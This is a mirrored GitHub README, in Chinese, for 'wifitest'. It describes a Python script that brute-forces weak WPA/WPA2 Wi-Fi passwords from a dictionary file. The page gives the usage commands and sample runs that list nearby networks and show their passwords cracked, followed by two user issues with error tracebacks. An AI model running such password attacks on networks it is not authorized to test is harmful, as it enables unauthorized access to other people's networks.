Giter VIP home page Giter VIP logo

wifitest's Introduction

WIFITEST

一个简单的WIFI弱口令暴破的python脚本,可自动实时破解,不需要使用aircrack-ng抓包,只是有点慢...

安装和依赖

1、pywifi: pip install pywifi
2、无线网卡
3、Linux与python2.7

使用

	usage: wifitest.py [-h] [-m {a,m}] [-k KEY_FILE]
	
	optional arguments:
	  -h, --help            show this help message and exit
	  -m {a,m}, --mode {a,m}
	                        test mode:a(auto) or m(manual)
	  -k KEY_FILE, --key_file KEY_FILE
	                        test password dict file,default is top10.txt
  • 自动测试模式
root@kali:~# python wifitest.py
Total KEYS 10
Wifi interface found: wlan0
TEST WIFI LIST:
No   SSID                  BSSID                  SIGNAL   ENC/AUTH
1    TP-LINK_8446        | bc:46:99:6d:84:46    | -57    | WPAPSK/WPA2PSK
2    Tenda_12ABD8        | c8:3a:35:12:ab:d8    | -58    | WPAPSK
3    TP-LINK_D4D0        | fc:d7:33:55:d4:d0    | -71    | WPAPSK/WPA2PSK
4    RP                  | 84:1b:5e:f2:fe:ce    | -64    | WPA2PSK
5    \xb7\xcf\xc6\xb7\xbb\xd8\xca\xd5| ec:26:ca:ef:08:7a    | -61    | WPAPSK/WPA2PSK
6    laoxiejia           | 64:09:80:5d:6f:38    | -49    | WPAPSK/WPA2PSK
7    B-LINK_F20D82       | 3c:33:00:f2:0d:82    | -57    | WPA2PSK
8    TPGuest_D4D0        | f6:d7:33:55:d4:d0    | -64    | WPAPSK/WPA2PSK
9    360WiFi-79DAA1      | a4:56:02:79:da:a1    | -52    | WPAPSK/WPA2PSK
TOTAL TEST WIFI:9
------------------------------------------------------------------------
WIFINO| SSID OR BSSID     |  TIME  | KEYNUM KEY             | STATUS
========================================================================
1     | TP-LINK_8446      |  4.01s | 9      123456789       | FOUND!
2     | Tenda_12ABD8      |        |                        | FAIL!
3     | TP-LINK_D4D0      |        |                        | FAIL!
4     | RP                |        |                        | FAIL!
...
  • 手动测试模式
root@kali:~# python wifitest.py -m m -k top10.txt
Total KEYS 10
Wifi interface found: wlan0
------------------------------------------------------------------------
No   SSID                  BSSID                  SIGNAL   ENC/AUTH
1    Tenda_12ABD8        | c8:3a:35:12:ab:d8    | -57    | WPAPSK
2    CMCC-FREEMM         | 96:74:2a:b2:74:2a    | -56    |
3    laoxiejia           | 64:09:80:5d:6f:38    | -49    | WPAPSK/WPA2PSK
4    B-LINK_F20D82       | 3c:33:00:f2:0d:82    | -54    | WPA2PSK
5    and-Business        | a6:74:2a:b2:74:2a    | -56    |
6    <length: 0>         | 50:bd:5f:e6:3c:fa    | -32    | WPAPSK/WPA2PSK
7    CMCC-CSDL           | 84:74:2a:b2:74:2a    | -54    |
8    TPGuest_405A        | f6:d7:33:6e:40:5a    | -61    |
9    TP-LINK_8446        | bc:46:99:6d:84:46    | -57    | WPAPSK/WPA2PSK
10   <length: 0>         | fc:d7:33:6e:40:5a    | -62    | WPAPSK/WPA2PSK
...
Please choose test No:4,9,1
------------------------------------------------------------------------
WIFINO| SSID OR BSSID     |  TIME  | KEYNUM KEY             | STATUS
========================================================================
4     | B-LINK_F20D82     |  7.13s | 2      147258369       | FOUND!
9     | TP-LINK_8446      |  4.06s | 9      123456789       | FOUND!
1     | Tenda_12ABD8      |        |                        | FAIL!

Done...

wifitest's People

Contributors

hanc00l avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

wifitest's Issues

报错了。。用的win10的Ubuntu子系统

bourbon@DESKTOP-ULUIG0O:/mnt/c/Users/v/Desktop/wifitest-master/wifitest-master$ python wifitest.py
Total KEYS 10
Traceback (most recent call last):
File "wifitest.py", line 177, in
main()
File "wifitest.py", line 171, in main
auto_test(keys,timeout,result_file)
File "wifitest.py", line 111, in auto_test
iface = get_wifi_interface()
File "wifitest.py", line 10, in get_wifi_interface
if len(wifi.interfaces()) <= 0:
File "/home/bourbon/.local/lib/python2.7/site-packages/pywifi/wifi.py", line 42, in interfaces
for interface in wifi_ctrl.interfaces():
File "/home/bourbon/.local/lib/python2.7/site-packages/pywifi/_wifiutil_linux.py", line 281, in interfaces
for f in sorted(os.listdir(CTRL_IFACE_DIR)):
OSError: [Errno 2] No such file or directory: '/var/run/wpa_supplicant'
bourbon@DESKTOP-ULUIG0O:/mnt/c/Users/v/Desktop/wifitest-master/wifitest-master$ python wifitest.py -m m -k top10.txt
Total KEYS 10
Traceback (most recent call last):
File "wifitest.py", line 177, in
main()
File "wifitest.py", line 173, in main
manual_test(keys,timeout,result_file)
File "wifitest.py", line 137, in manual_test
iface = get_wifi_interface()
File "wifitest.py", line 10, in get_wifi_interface
if len(wifi.interfaces()) <= 0:
File "/home/bourbon/.local/lib/python2.7/site-packages/pywifi/wifi.py", line 42, in interfaces
for interface in wifi_ctrl.interfaces():
File "/home/bourbon/.local/lib/python2.7/site-packages/pywifi/_wifiutil_linux.py", line 281, in interfaces
for f in sorted(os.listdir(CTRL_IFACE_DIR)):
OSError: [Errno 2] No such file or directory: '/var/run/wpa_supplicant'

test函数问题

test setup failed
file D:\PyCharm 6.28\wifitest\wifitest.py, line 69
def test(i,face,x,key,stu,ts):
E fixture 'i' not found

  available fixtures: cache, capfd, capfdbinary, caplog, capsys, capsysbinary, doctest_namespace, event_loop, monkeypatch, pytestconfig, record_property, record_testsuite_property, record_xml_attribute, recwarn, tmp_path, tmp_path_factory, tmpdir, tmpdir_factory, unused_tcp_port, unused_tcp_port_factory
  use 'pytest --fixtures [testpath]' for help on them.

D:\PyCharm 6.28\wifitest\wifitest.py:69

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.